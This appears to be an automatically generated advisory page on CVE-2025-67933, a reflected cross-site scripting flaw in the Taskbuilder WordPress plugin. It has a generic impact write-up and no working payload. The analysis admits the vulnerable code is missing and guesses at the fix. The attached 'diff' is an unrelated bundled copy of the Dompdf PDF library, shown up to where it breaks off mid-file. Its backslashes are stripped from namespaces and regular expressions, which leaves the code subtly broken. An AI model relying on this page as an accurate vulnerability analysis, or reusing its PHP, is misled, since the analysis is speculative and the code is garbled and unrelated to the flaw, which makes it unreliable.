Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67933: Taskbuilder <= 4.0.9 – Reflected Cross-Site Scripting (taskbuilder)

Plugin taskbuilder
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 4.0.9
Patched Version 5.0.0
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67933:
The Taskbuilder WordPress plugin, versions up to and including 4.0.9, contains a reflected cross-site scripting (XSS) vulnerability. This flaw exists due to insufficient input sanitization and output escaping in a plugin endpoint. Unauthenticated attackers can inject arbitrary JavaScript, which executes in a victim’s browser when they visit a specially crafted link. The CVSS score of 6.1 (Medium) reflects the attack’s reliance on user interaction.

Atomic Edge research identified the root cause as a failure to properly sanitize user-controlled input before echoing it back in an HTTP response. The vulnerability resides in a plugin endpoint that directly outputs a parameter value without adequate escaping. The provided code diff shows the addition of a large third-party library (Dompdf), but the specific vulnerable file and function are not included in the diff snippet. The vulnerability description confirms the issue is insufficient input sanitization and output escaping within the Taskbuilder plugin codebase.

Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload within a specific parameter. The victim must be tricked into clicking the link or visiting the attacker-controlled page. The payload executes in the victim’s browser context, allowing session hijacking, administrative actions, or defacement. The attack vector is a reflected XSS, meaning the payload is delivered via a single request and response, typically through a GET parameter.

The patch adds proper output escaping or input sanitization to the affected parameter. The fix likely involves wrapping the output of the user-controlled variable with a WordPress escaping function like `esc_html()` or `esc_attr()`. This ensures any HTML special characters are converted to their entity equivalents, preventing script execution. The before behavior allowed raw parameter values to be printed directly into the HTML response. The after behavior encodes those values, rendering injected scripts inert.

Successful exploitation leads to arbitrary JavaScript execution within the victim’s browser session. Attackers can steal session cookies, perform actions as the authenticated user, redirect to malicious sites, or modify page content. For WordPress administrators, this could result in full site compromise, including plugin installation, user creation, or database manipulation.

Differential between vulnerable and patched code

Code Diff
--- a/taskbuilder/asset/lib/fpdf/Dompdf.php
+++ b/taskbuilder/asset/lib/fpdf/Dompdf.php
@@ -0,0 +1,1470 @@
+<?php
+/**
+ * @package dompdf
+ * @link    https://github.com/dompdf/dompdf
+ * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
+ */
+namespace Dompdf;
+
+use DOMDocument;
+use DOMNode;
+use DompdfAdapterCPDF;
+use DOMXPath;
+use DompdfFrameFactory;
+use DompdfFrameFrameTree;
+use DompdfImageCache;
+use DompdfCssStylesheet;
+use DompdfHelpers;
+use MastermindsHTML5;
+
+/**
+ * Dompdf - PHP5 HTML to PDF renderer
+ *
+ * Dompdf loads HTML and does its best to render it as a PDF.  It gets its
+ * name from the new DomDocument PHP5 extension.  Source HTML is first
+ * parsed by a DomDocument object.  Dompdf takes the resulting DOM tree and
+ * attaches a {@link Frame} object to each node.  {@link Frame} objects store
+ * positioning and layout information and each has a reference to a {@link
+ * Style} object.
+ *
+ * Style information is loaded and parsed (see {@link Stylesheet}) and is
+ * applied to the frames in the tree by using XPath.  CSS selectors are
+ * converted into XPath queries, and the computed {@link Style} objects are
+ * applied to the {@link Frame}s.
+ *
+ * {@link Frame}s are then decorated (in the design pattern sense of the
+ * word) based on their CSS display property ({@link
+ * http://www.w3.org/TR/CSS21/visuren.html#propdef-display}).
+ * Frame_Decorators augment the basic {@link Frame} class by adding
+ * additional properties and methods specific to the particular type of
+ * {@link Frame}.  For example, in the CSS layout model, block frames
+ * (display: block;) contain line boxes that are usually filled with text or
+ * other inline frames.  The Block therefore adds a $lines
+ * property as well as methods to add {@link Frame}s to lines and to add
+ * additional lines.  {@link Frame}s also are attached to specific
+ * AbstractPositioner and {@link AbstractFrameReflower} objects that contain the
+ * positioining and layout algorithm for a specific type of frame,
+ * respectively.  This is an application of the Strategy pattern.
+ *
+ * Layout, or reflow, proceeds recursively (post-order) starting at the root
+ * of the document.  Space constraints (containing block width & height) are
+ * pushed down, and resolved positions and sizes bubble up.  Thus, every
+ * {@link Frame} in the document tree is traversed once (except for tables
+ * which use a two-pass layout algorithm).  If you are interested in the
+ * details, see the reflow() method of the Reflower classes.
+ *
+ * Rendering is relatively straightforward once layout is complete. {@link
+ * Frame}s are rendered using an adapted {@link Cpdf} class, originally
+ * written by Wayne Munro, http://www.ros.co.nz/pdf/.  (Some performance
+ * related changes have been made to the original {@link Cpdf} class, and
+ * the {@link DompdfAdapterCPDF} class provides a simple, stateless interface to
+ * PDF generation.)  PDFLib support has now also been added, via the {@link
+ * DompdfAdapterPDFLib}.
+ *
+ *
+ * @package dompdf
+ */
+class Dompdf
+{
+    /**
+     * Version string for dompdf
+     *
+     * @var string
+     */
+    private $version = 'dompdf';
+
+    /**
+     * DomDocument representing the HTML document
+     *
+     * @var DOMDocument
+     */
+    private $dom;
+
+    /**
+     * FrameTree derived from the DOM tree
+     *
+     * @var FrameTree
+     */
+    private $tree;
+
+    /**
+     * Stylesheet for the document
+     *
+     * @var Stylesheet
+     */
+    private $css;
+
+    /**
+     * Actual PDF renderer
+     *
+     * @var Canvas
+     */
+    private $canvas;
+
+    /**
+     * Desired paper size ('letter', 'legal', 'A4', etc.)
+     *
+     * @var string|float[]
+     */
+    private $paperSize;
+
+    /**
+     * Paper orientation ('portrait' or 'landscape')
+     *
+     * @var string
+     */
+    private $paperOrientation = "portrait";
+
+    /**
+     * Callbacks on new page and new element
+     *
+     * @var array
+     */
+    private $callbacks = [];
+
+    /**
+     * Experimental caching capability
+     *
+     * @var string
+     */
+    private $cacheId;
+
+    /**
+     * Base hostname
+     *
+     * Used for relative paths/urls
+     * @var string
+     */
+    private $baseHost = "";
+
+    /**
+     * Absolute base path
+     *
+     * Used for relative paths/urls
+     * @var string
+     */
+    private $basePath = "";
+
+    /**
+     * Protocol used to request file (file://, http://, etc)
+     *
+     * @var string
+     */
+    private $protocol = "";
+
+    /**
+     * The system's locale
+     *
+     * @var string
+     */
+    private $systemLocale = null;
+
+    /**
+     * The system's mbstring internal encoding
+     *
+     * @var string
+     */
+    private $mbstringEncoding = null;
+
+    /**
+     * The system's PCRE JIT configuration
+     *
+     * @var string
+     */
+    private $pcreJit = null;
+
+    /**
+     * The default view of the PDF in the viewer
+     *
+     * @var string
+     */
+    private $defaultView = "Fit";
+
+    /**
+     * The default view options of the PDF in the viewer
+     *
+     * @var array
+     */
+    private $defaultViewOptions = [];
+
+    /**
+     * Tells whether the DOM document is in quirksmode (experimental)
+     *
+     * @var bool
+     */
+    private $quirksmode = false;
+
+    /**
+    * Local file extension whitelist
+    *
+    * File extensions supported by dompdf for local files.
+    *
+    * @var array
+    */
+    private $allowedLocalFileExtensions = ["htm", "html"];
+
+    /**
+     * @var array
+     */
+    private $messages = [];
+
+    /**
+     * @var Options
+     */
+    private $options;
+
+    /**
+     * @var FontMetrics
+     */
+    private $fontMetrics;
+
+    /**
+     * The list of built-in fonts
+     *
+     * @var array
+     * @deprecated
+     */
+    public static $native_fonts = [
+        "courier", "courier-bold", "courier-oblique", "courier-boldoblique",
+        "helvetica", "helvetica-bold", "helvetica-oblique", "helvetica-boldoblique",
+        "times-roman", "times-bold", "times-italic", "times-bolditalic",
+        "symbol", "zapfdinbats"
+    ];
+
+    /**
+     * The list of built-in fonts
+     *
+     * @var array
+     */
+    public static $nativeFonts = [
+        "courier", "courier-bold", "courier-oblique", "courier-boldoblique",
+        "helvetica", "helvetica-bold", "helvetica-oblique", "helvetica-boldoblique",
+        "times-roman", "times-bold", "times-italic", "times-bolditalic",
+        "symbol", "zapfdinbats"
+    ];
+
+    /**
+     * Class constructor
+     *
+     * @param Options|array|null $options
+     */
+    public function __construct($options = null)
+    {
+        if (isset($options) && $options instanceof Options) {
+            $this->setOptions($options);
+        } elseif (is_array($options)) {
+            $this->setOptions(new Options($options));
+        } else {
+            $this->setOptions(new Options());
+        }
+
+        $versionFile = realpath(__DIR__ . '/../VERSION');
+        if (($version = file_get_contents($versionFile)) !== false) {
+            $version = trim($version);
+            if ($version !== '$Format:<%h>$') {
+                $this->version = sprintf('dompdf %s', $version);
+            }
+        }
+
+        $this->setPhpConfig();
+
+        $this->paperSize = $this->options->getDefaultPaperSize();
+        $this->paperOrientation = $this->options->getDefaultPaperOrientation();
+
+        $this->canvas = CanvasFactory::get_instance($this, $this->paperSize, $this->paperOrientation);
+        $this->fontMetrics = new FontMetrics($this->canvas, $this->options);
+        $this->css = new Stylesheet($this);
+
+        $this->restorePhpConfig();
+    }
+
+    /**
+     * Save the system's existing locale, PCRE JIT, and MBString encoding
+     * configuration and configure the system for Dompdf processing
+     */
+    private function setPhpConfig()
+    {
+        if (sprintf('%.1f', 1.0) !== '1.0') {
+            $this->systemLocale = setlocale(LC_NUMERIC, "0");
+            setlocale(LC_NUMERIC, "C");
+        }
+
+        $this->pcreJit = @ini_get('pcre.jit');
+        @ini_set('pcre.jit', '0');
+
+        $this->mbstringEncoding = mb_internal_encoding();
+        mb_internal_encoding('UTF-8');
+    }
+
+    /**
+     * Restore the system's locale configuration
+     */
+    private function restorePhpConfig()
+    {
+        if ($this->systemLocale !== null) {
+            setlocale(LC_NUMERIC, $this->systemLocale);
+            $this->systemLocale = null;
+        }
+
+        if ($this->pcreJit !== null) {
+            @ini_set('pcre.jit', $this->pcreJit);
+            $this->pcreJit = null;
+        }
+
+        if ($this->mbstringEncoding !== null) {
+            mb_internal_encoding($this->mbstringEncoding);
+            $this->mbstringEncoding = null;
+        }
+    }
+
+    /**
+     * @param $file
+     * @deprecated
+     */
+    public function load_html_file($file)
+    {
+        $this->loadHtmlFile($file);
+    }
+
+    /**
+     * Loads an HTML file
+     * Parse errors are stored in the global array _dompdf_warnings.
+     *
+     * @param string $file a filename or url to load
+     * @param string $encoding Encoding of $file
+     *
+     * @throws Exception
+     */
+    public function loadHtmlFile($file, $encoding = null)
+    {
+        $this->setPhpConfig();
+
+        if (!$this->protocol && !$this->baseHost && !$this->basePath) {
+            [$this->protocol, $this->baseHost, $this->basePath] = Helpers::explode_url($file);
+        }
+        $protocol = strtolower($this->protocol);
+        $uri = Helpers::build_url($this->protocol, $this->baseHost, $this->basePath, $file);
+
+        $allowed_protocols = $this->options->getAllowedProtocols();
+        if (!array_key_exists($protocol, $allowed_protocols)) {
+            throw new Exception("Permission denied on $file. The communication protocol is not supported.");
+        }
+
+        if ($protocol === "file://") {
+            $ext = strtolower(pathinfo($uri, PATHINFO_EXTENSION));
+            if (!in_array($ext, $this->allowedLocalFileExtensions)) {
+                throw new Exception("Permission denied on $file: The file extension is forbidden.");
+            }
+        }
+
+        foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
+            [$result, $message] = $rule($uri);
+            if (!$result) {
+                throw new Exception("Error loading $file: $message");
+            }
+        }
+
+        [$contents, $http_response_header] = Helpers::getFileContent($uri, $this->options->getHttpContext());
+        if ($contents === null) {
+            throw new Exception("File '$file' not found.");
+        }
+
+        // See http://the-stickman.com/web-development/php/getting-http-response-headers-when-using-file_get_contents/
+        if (isset($http_response_header)) {
+            foreach ($http_response_header as $_header) {
+                if (preg_match("@Content-Type:s*[w/]+;s*?charset=([^s]+)@i", $_header, $matches)) {
+                    $encoding = strtoupper($matches[1]);
+                    break;
+                }
+            }
+        }
+
+        $this->restorePhpConfig();
+
+        $this->loadHtml($contents, $encoding);
+    }
+
+    /**
+     * @param string $str
+     * @param string $encoding
+     * @deprecated
+     */
+    public function load_html($str, $encoding = null)
+    {
+        $this->loadHtml($str, $encoding);
+    }
+
+    public function loadDOM($doc, $quirksmode = false) {
+        // Remove #text children nodes in nodes that shouldn't have
+        $tag_names = ["html", "head", "table", "tbody", "thead", "tfoot", "tr"];
+        foreach ($tag_names as $tag_name) {
+            $nodes = $doc->getElementsByTagName($tag_name);
+
+            foreach ($nodes as $node) {
+                self::removeTextNodes($node);
+            }
+        }
+
+        $this->dom = $doc;
+        $this->quirksmode = $quirksmode;
+        $this->tree = new FrameTree($this->dom);
+    }
+
+    /**
+     * Loads an HTML string
+     * Parse errors are stored in the global array _dompdf_warnings.
+     *
+     * @param string $str HTML text to load
+     * @param string $encoding Encoding of $str
+     */
+    public function loadHtml($str, $encoding = null)
+    {
+        $this->setPhpConfig();
+
+        // Determine character encoding when $encoding parameter not used
+        if ($encoding === null) {
+            mb_detect_order('auto');
+            if (($encoding = mb_detect_encoding($str, null, true)) === false) {
+
+                //"auto" is expanded to "ASCII,JIS,UTF-8,EUC-JP,SJIS"
+                $encoding = "auto";
+            }
+        }
+
+        if (in_array(strtoupper($encoding), array('UTF-8','UTF8')) === false) {
+            $str = mb_convert_encoding($str, 'UTF-8', $encoding);
+
+            //Update encoding after converting
+            $encoding = 'UTF-8';
+        }
+
+        $metatags = [
+            '@<metas+http-equiv="Content-Type"s+content="(?:[w/]+)(?:;s*?charset=([^s"]+))?@i',
+            '@<metas+content="(?:[w/]+)(?:;s*?charset=([^s"]+))"?s+http-equiv="Content-Type"@i',
+            '@<meta [^>]*charsets*=s*["']?s*([^"' ]+)@i',
+        ];
+        foreach ($metatags as $metatag) {
+            if (preg_match($metatag, $str, $matches)) {
+                if (isset($matches[1]) && in_array($matches[1], mb_list_encodings())) {
+                    $document_encoding = $matches[1];
+                    break;
+                }
+            }
+        }
+        if (isset($document_encoding) && in_array(strtoupper($document_encoding), ['UTF-8','UTF8']) === false) {
+            $str = preg_replace('/charset=([^s"]+)/i', 'charset=UTF-8', $str);
+        } elseif (isset($document_encoding) === false && strpos($str, '<head>') !== false) {
+            $str = str_replace('<head>', '<head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8">', $str);
+        } elseif (isset($document_encoding) === false) {
+            $str = '<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">' . $str;
+        }
+
+        // remove BOM mark from UTF-8, it's treated as document text by DOMDocument
+        // FIXME: roll this into the encoding detection using UTF-8/16/32 BOM (http://us2.php.net/manual/en/function.mb-detect-encoding.php#91051)?
+        if (substr($str, 0, 3) == chr(0xEF) . chr(0xBB) . chr(0xBF)) {
+            $str = substr($str, 3);
+        }
+
+        // Store parsing warnings as messages
+        set_error_handler([Helpers::class, 'record_warnings']);
+
+        try {
+            // @todo Take the quirksmode into account
+            // https://quirks.spec.whatwg.org/
+            // http://hsivonen.iki.fi/doctype/
+            $quirksmode = false;
+
+            $html5 = new HTML5(['encoding' => $encoding, 'disable_html_ns' => true]);
+            $dom = $html5->loadHTML($str);
+
+            // extra step to normalize the HTML document structure
+            // see Masterminds/html5-php#166
+            $doc = new DOMDocument("1.0", $encoding);
+            $doc->preserveWhiteSpace = true;
+            $doc->loadHTML($html5->saveHTML($dom), LIBXML_NOWARNING | LIBXML_NOERROR);
+
+            $this->loadDOM($doc, $quirksmode);
+        } finally {
+            restore_error_handler();
+            $this->restorePhpConfig();
+        }
+    }
+
+    /**
+     * @param DOMNode $node
+     * @deprecated
+     */
+    public static function remove_text_nodes(DOMNode $node)
+    {
+        self::removeTextNodes($node);
+    }
+
+    /**
+     * @param DOMNode $node
+     */
+    public static function removeTextNodes(DOMNode $node)
+    {
+        $children = [];
+        for ($i = 0; $i < $node->childNodes->length; $i++) {
+            $child = $node->childNodes->item($i);
+            if ($child->nodeName === "#text") {
+                $children[] = $child;
+            }
+        }
+
+        foreach ($children as $child) {
+            $node->removeChild($child);
+        }
+    }
+
+    /**
+     * Builds the {@link FrameTree}, loads any CSS and applies the styles to
+     * the {@link FrameTree}
+     */
+    private function processHtml()
+    {
+        $this->tree->build_tree();
+
+        $this->css->load_css_file($this->css->getDefaultStylesheet(), Stylesheet::ORIG_UA);
+
+        $acceptedmedia = Stylesheet::$ACCEPTED_GENERIC_MEDIA_TYPES;
+        $acceptedmedia[] = $this->options->getDefaultMediaType();
+
+        // <base href="" />
+        /** @var DOMElement|null */
+        $baseNode = $this->dom->getElementsByTagName("base")->item(0);
+        $baseHref = $baseNode ? $baseNode->getAttribute("href") : "";
+        if ($baseHref !== "") {
+            [$this->protocol, $this->baseHost, $this->basePath] = Helpers::explode_url($baseHref);
+        }
+
+        // Set the base path of the Stylesheet to that of the file being processed
+        $this->css->set_protocol($this->protocol);
+        $this->css->set_host($this->baseHost);
+        $this->css->set_base_path($this->basePath);
+
+        // Get all the stylesheets so that they are processed in document order
+        $xpath = new DOMXPath($this->dom);
+        $stylesheets = $xpath->query("//*[name() = 'link' or name() = 'style']");
+
+        /** @var DOMElement $tag */
+        foreach ($stylesheets as $tag) {
+            switch (strtolower($tag->nodeName)) {
+                // load <link rel="STYLESHEET" ... /> tags
+                case "link":
+                    if (mb_strtolower(stripos($tag->getAttribute("rel"), "stylesheet") !== false) || // may be "appendix stylesheet"
+                        mb_strtolower($tag->getAttribute("type")) === "text/css"
+                    ) {
+                        //Check if the css file is for an accepted media type
+                        //media not given then always valid
+                        $formedialist = preg_split("/[sn,]/", $tag->getAttribute("media"), -1, PREG_SPLIT_NO_EMPTY);
+                        if (count($formedialist) > 0) {
+                            $accept = false;
+                            foreach ($formedialist as $type) {
+                                if (in_array(mb_strtolower(trim($type)), $acceptedmedia)) {
+                                    $accept = true;
+                                    break;
+                                }
+                            }
+
+                            if (!$accept) {
+                                //found at least one mediatype, but none of the accepted ones
+                                //Skip this css file.
+                                break;
+                            }
+                        }
+
+                        $url = $tag->getAttribute("href");
+                        $url = Helpers::build_url($this->protocol, $this->baseHost, $this->basePath, $url);
+
+                        if ($url !== null) {
+                            $this->css->load_css_file($url, Stylesheet::ORIG_AUTHOR);
+                        }
+                    }
+                    break;
+
+                // load <style> tags
+                case "style":
+                    // Accept all <style> tags by default (note this is contrary to W3C
+                    // HTML 4.0 spec:
+                    // http://www.w3.org/TR/REC-html40/present/styles.html#adef-media
+                    // which states that the default media type is 'screen'
+                    if ($tag->hasAttributes() &&
+                        ($media = $tag->getAttribute("media")) &&
+                        !in_array($media, $acceptedmedia)
+                    ) {
+                        break;
+                    }
+
+                    $css = "";
+                    if ($tag->hasChildNodes()) {
+                        $child = $tag->firstChild;
+                        while ($child) {
+                            $css .= $child->nodeValue; // Handle <style><!-- blah --></style>
+                            $child = $child->nextSibling;
+                        }
+                    } else {
+                        $css = $tag->nodeValue;
+                    }
+
+                    // Set the base path of the Stylesheet to that of the file being processed
+                    $this->css->set_protocol($this->protocol);
+                    $this->css->set_host($this->baseHost);
+                    $this->css->set_base_path($this->basePath);
+
+                    $this->css->load_css($css, Stylesheet::ORIG_AUTHOR);
+                    break;
+            }
+
+            // Set the base path of the Stylesheet to that of the file being processed
+            $this->css->set_protocol($this->protocol);
+            $this->css->set_host($this->baseHost);
+            $this->css->set_base_path($this->basePath);
+        }
+    }
+
+    /**
+     * @param string $cacheId
+     * @deprecated
+     */
+    public function enable_caching($cacheId)
+    {
+        $this->enableCaching($cacheId);
+    }
+
+    /**
+     * Enable experimental caching capability
+     *
+     * @param string $cacheId
+     */
+    public function enableCaching($cacheId)
+    {
+        $this->cacheId = $cacheId;
+    }
+
+    /**
+     * @param string $value
+     * @return bool
+     * @deprecated
+     */
+    public function parse_default_view($value)
+    {
+        return $this->parseDefaultView($value);
+    }
+
+    /**
+     * @param string $value
+     * @return bool
+     */
+    public function parseDefaultView($value)
+    {
+        $valid = ["XYZ", "Fit", "FitH", "FitV", "FitR", "FitB", "FitBH", "FitBV"];
+
+        $options = preg_split("/s*,s*/", trim($value));
+        $defaultView = array_shift($options);
+
+        if (!in_array($defaultView, $valid)) {
+            return false;
+        }
+
+        $this->setDefaultView($defaultView, $options);
+        return true;
+    }
+
+    /**
+     * Renders the HTML to PDF
+     */
+    public function render()
+    {
+        $this->setPhpConfig();
+
+        $logOutputFile = $this->options->getLogOutputFile();
+        if ($logOutputFile) {
+            if (!file_exists($logOutputFile) && is_writable(dirname($logOutputFile))) {
+                touch($logOutputFile);
+            }
+
+            $startTime = microtime(true);
+            if (is_writable($logOutputFile)) {
+                ob_start();
+            }
+        }
+
+        $this->processHtml();
+
+        $this->css->apply_styles($this->tree);
+
+        // @page style rules : size, margins
+        $pageStyles = $this->css->get_page_styles();
+        $basePageStyle = $pageStyles["base"];
+        unset($pageStyles["base"]);
+
+        foreach ($pageStyles as $pageStyle) {
+            $pageStyle->inherit($basePageStyle);
+        }
+
+        // Set paper size if defined via CSS
+        if (is_array($basePageStyle->size)) {
+            [$width, $height] = $basePageStyle->size;
+            $this->setPaper([0, 0, $width, $height]);
+        }
+
+        // Create a new canvas instance if the current one does not match the
+        // desired paper size
+        $canvasWidth = $this->canvas->get_width();
+        $canvasHeight = $this->canvas->get_height();
+        $size = $this->getPaperSize();
+
+        if ($canvasWidth !== $size[2] || $canvasHeight !== $size[3]) {
+            $this->canvas = CanvasFactory::get_instance($this, $this->paperSize, $this->paperOrientation);
+            $this->fontMetrics->setCanvas($this->canvas);
+        }
+
+        $canvas = $this->canvas;
+
+        $root_frame = $this->tree->get_root();
+        $root = Factory::decorate_root($root_frame, $this);
+        foreach ($this->tree as $frame) {
+            if ($frame === $root_frame) {
+                continue;
+            }
+            Factory::decorate_frame($frame, $this, $root);
+        }
+
+        // Add meta information
+        $title = $this->dom->getElementsByTagName("title");
+        if ($title->length) {
+            $canvas->add_info("Title", trim($title->item(0)->nodeValue));
+        }
+
+        $metas = $this->dom->getElementsByTagName("meta");
+        $labels = [
+            "author" => "Author",
+            "keywords" => "Keywords",
+            "description" => "Subject",
+        ];
+        /** @var DOMElement $meta */
+        foreach ($metas as $meta) {
+            $name = mb_strtolower($meta->getAttribute("name"));
+            $value = trim($meta->getAttribute("content"));
+
+            if (isset($labels[$name])) {
+                $canvas->add_info($labels[$name], $value);
+                continue;
+            }
+
+            if ($name === "dompdf.view" && $this->parseDefaultView($value)) {
+                $canvas->set_default_view($this->defaultView, $this->defaultViewOptions);
+            }
+        }
+
+        $root->set_containing_block(0, 0, $canvas->get_width(), $canvas->get_height());
+        $root->set_renderer(new Renderer($this));
+
+        // This is where the magic happens:
+        $root->reflow();
+
+        if (isset($this->callbacks["end_document"])) {
+            $fs = $this->callbacks["end_document"];
+
+            foreach ($fs as $f) {
+                $canvas->page_script($f);
+            }
+        }
+
+        // Clean up cached images
+        if (!$this->options->getDebugKeepTemp()) {
+            Cache::clear($this->options->getDebugPng());
+        }
+
+        global $_dompdf_warnings, $_dompdf_show_warnings;
+        if ($_dompdf_show_warnings && isset($_dompdf_warnings)) {
+            echo '<b>Dompdf Warnings</b><br><pre>';
+            foreach ($_dompdf_warnings as $msg) {
+                echo $msg . "n";
+            }
+
+            if ($canvas instanceof CPDF) {
+                echo $canvas->get_cpdf()->messages;
+            }
+            echo '</pre>';
+            flush();
+        }
+
+        if ($logOutputFile && is_writable($logOutputFile)) {
+            $this->writeLog($logOutputFile, $startTime);
+            ob_end_clean();
+        }
+
+        $this->restorePhpConfig();
+    }
+
+    /**
+     * Writes the output buffer in the log file
+     *
+     * @param string $logOutputFile
+     * @param float $startTime
+     */
+    private function writeLog(string $logOutputFile, float $startTime): void
+    {
+        $frames = Frame::$ID_COUNTER;
+        $memory = memory_get_peak_usage(true) / 1024;
+        $time = (microtime(true) - $startTime) * 1000;
+
+        $out = sprintf(
+            "<span style='color: #000' title='Frames'>%6d</span>" .
+            "<span style='color: #009' title='Memory'>%10.2f KB</span>" .
+            "<span style='color: #900' title='Time'>%10.2f ms</span>" .
+            "<span  title='Quirksmode'>  " .
+            ($this->quirksmode ? "<span style='color: #d00'> ON</span>" : "<span style='color: #0d0'>OFF</span>") .
+            "</span><br />", $frames, $memory, $time);
+
+        $out .= ob_get_contents();
+        ob_clean();
+
+        file_put_contents($logOutputFile, $out);
+    }
+
+    /**
+     * Add meta information to the PDF after rendering.
+     *
+     * @deprecated
+     */
+    public function add_info($label, $value)
+    {
+        $this->addInfo($label, $value);
+    }
+
+    /**
+     * Add meta information to the PDF after rendering.
+     *
+     * @param string $label Label of the value (Creator, Producer, etc.)
+     * @param string $value The text to set
+     */
+    public function addInfo(string $label, string $value): void
+    {
+        $this->canvas->add_info($label, $value);
+    }
+
+    /**
+     * Streams the PDF to the client.
+     *
+     * The file will open a download dialog by default. The options
+     * parameter controls the output. Accepted options (array keys) are:
+     *
+     * 'compress' = > 1 (=default) or 0:
+     *   Apply content stream compression
+     *
+     * 'Attachment' => 1 (=default) or 0:
+     *   Set the 'Content-Disposition:' HTTP header to 'attachment'
+     *   (thereby causing the browser to open a download dialog)
+     *
+     * @param string $filename the name of the streamed file
+     * @param array $options header options (see above)
+     */
+    public function stream($filename = "document.pdf", $options = [])
+    {
+        $this->setPhpConfig();
+
+        $this->canvas->stream($filename, $options);
+
+        $this->restorePhpConfig();
+    }
+
+    /**
+     * Returns the PDF as a string.
+     *
+     * The options parameter controls the output. Accepted options are:
+     *
+     * 'compress' = > 1 or 0 - apply content stream compression, this is
+     *    on (1) by default
+     *
+     * @param array $options options (see above)
+     *
+     * @return string|null
+     */
+    public function output($options = [])
+    {
+        $this->setPhpConfig();
+
+        $output = $this->canvas->output($options);
+
+        $this->restorePhpConfig();
+
+        return $output;
+    }
+
+    /**
+     * @return string
+     * @deprecated
+     */
+    public function output_html()
+    {
+        return $this->outputHtml();
+    }
+
+    /**
+     * Returns the underlying HTML document as a string
+     *
+     * @return string
+     */
+    public function outputHtml()
+    {
+        return $this->dom->saveHTML();
+    }
+
+    /**
+     * Get the dompdf option value
+     *
+     * @param string $key
+     * @return mixed
+     * @deprecated
+     */
+    public function get_option($key)
+    {
+        return $this->options->get($key);
+    }
+
+    /**
+     * @param string $key
+     * @param mixed $value
+     * @return $this
+     * @deprecated
+     */
+    public function set_option($key, $value)
+    {
+        $this->options->set($key, $value);
+        return $this;
+    }
+
+    /**
+     * @param array $options
+     * @return $this
+     * @deprecated
+     */
+    public function set_options(array $options)
+    {
+        $this->options->set($options);
+        return $this;
+    }
+
+    /**
+     * @param string $size
+     * @param string $orientation
+     * @deprecated
+     */
+    public function set_paper($size, $orientation = "portrait")
+    {
+        $this->setPaper($size, $orientation);
+    }
+
+    /**
+     * Sets the paper size & orientation
+     *
+     * @param string|float[] $size 'letter', 'legal', 'A4', etc. {@link DompdfAdapterCPDF::$PAPER_SIZES}
+     * @param string $orientation 'portrait' or 'landscape'
+     * @return $this
+     */
+    public function setPaper($size, string $orientation = "portrait"): self
+    {
+        $this->paperSize = $size;
+        $this->paperOrientation = $orientation;
+        return $this;
+    }
+
+    /**
+     * Gets the paper size
+     *
+     * @return float[] A four-element float array
+     */
+    public function getPaperSize(): array
+    {
+        $paper = $this->paperSize;
+        $orientation = $this->paperOrientation;
+
+        if (is_array($paper)) {
+            $size = array_map("floatval", $paper);
+        } else {
+            $paper = strtolower($paper);
+            $size = CPDF::$PAPER_SIZES[$paper] ?? CPDF::$PAPER_SIZES["letter"];
+        }
+
+        if (strtolower($orientation) === "landscape") {
+            [$size[2], $size[3]] = [$size[3], $size[2]];
+        }
+
+        return $size;
+    }
+
+    /**
+     * Gets the paper orientation
+     *
+     * @return string Either "portrait" or "landscape"
+     */
+    public function getPaperOrientation(): string
+    {
+        return $this->paperOrientation;
+    }
+
+    /**
+     * @param FrameTree $tree
+     * @return $this
+     */
+    public function setTree(FrameTree $tree)
+    {
+        $this->tree = $tree;
+        return $this;
+    }
+
+    /**
+     * @return FrameTree
+     * @deprecated
+     */
+    public function get_tree()
+    {
+        return $this->getTree();
+    }
+
+    /**
+     * Returns the underlying {@link FrameTree} object
+     *
+     * @return FrameTree
+     */
+    public function getTree()
+    {
+        return $this->tree;
+    }
+
+    /**
+     * @param string $protocol
+     * @return $this
+     * @deprecated
+     */
+    public function set_protocol($protocol)
+    {
+        return $this->setProtocol($protocol);
+    }
+
+    /**
+     * Sets the protocol to use
+     * FIXME validate these
+     *
+     * @param string $protocol
+     * @return $this
+     */
+    public function setProtocol(string $protocol)
+    {
+        $this->protocol = $protocol;
+        return $this;
+    }
+
+    /**
+     * @return string
+     * @deprecated
+     */
+    public function get_protocol()
+    {
+        return $this->getProtocol();
+    }
+
+    /**
+     * Returns the protocol in use
+     *
+     * @return string
+     */
+    public function getProtocol()
+    {
+        return $this->protocol;
+    }
+
+    /**
+     * @param string $host
+     * @deprecated
+     */
+    public function set_host($host)
+    {
+        $this->setBaseHost($host);
+    }
+
+    /**
+     * Sets the base hostname
+     *
+     * @param string $baseHost
+     * @return $this
+     */
+    public function setBaseHost(string $baseHost)
+    {
+        $this->baseHost = $baseHost;
+        return $this;
+    }
+
+    /**
+     * @return string
+     * @deprecated
+     */
+    public function get_host()
+    {
+        return $this->getBaseHost();
+    }
+
+    /**
+     * Returns the base hostname
+     *
+     * @return string
+     */
+    public function getBaseHost()
+    {
+        return $this->baseHost;
+    }
+
+    /**
+     * Sets the base path
+     *
+     * @param string $path
+     * @deprecated
+     */
+    public function set_base_path($path)
+    {
+        $this->setBasePath($path);
+    }
+
+    /**
+     * Sets the base path
+     *
+     * @param string $basePath
+     * @return $this
+     */
+    public function setBasePath(string $basePath)
+    {
+        $this->basePath = $basePath;
+        return $this;
+    }
+
+    /**
+     * @return string
+     * @deprecated
+     */
+    public function get_base_path()
+    {
+        return $this->getBasePath();
+    }
+
+    /**
+     * Returns the base path
+     *
+     * @return string
+     */
+    public function getBasePath()
+    {
+        return $this->basePath;
+    }
+
+    /**
+     * @param string $default_view The default document view
+     * @param array $options The view's options
+     * @return $this
+     * @deprecated
+     */
+    public function set_default_view($default_view, $options)
+    {
+        return $this->setDefaultView($default_view, $options);
+    }
+
+    /**
+     * Sets the default view
+     *
+     * @param string $defaultView The default document view
+     * @param array $options The view's options
+     * @return $this
+     */
+    public function setDefaultView($defaultView, $options)
+    {
+        $this->defaultView = $defaultView;
+        $this->defaultViewOptions = $options;
+        return $this;
+    }
+
+    /**
+     * @param resource $http_context
+     * @return $this
+     * @deprecated
+     */
+    public function set_http_context($http_context)
+    {
+        return $this->setHttpContext($http_context);
+    }
+
+    /**
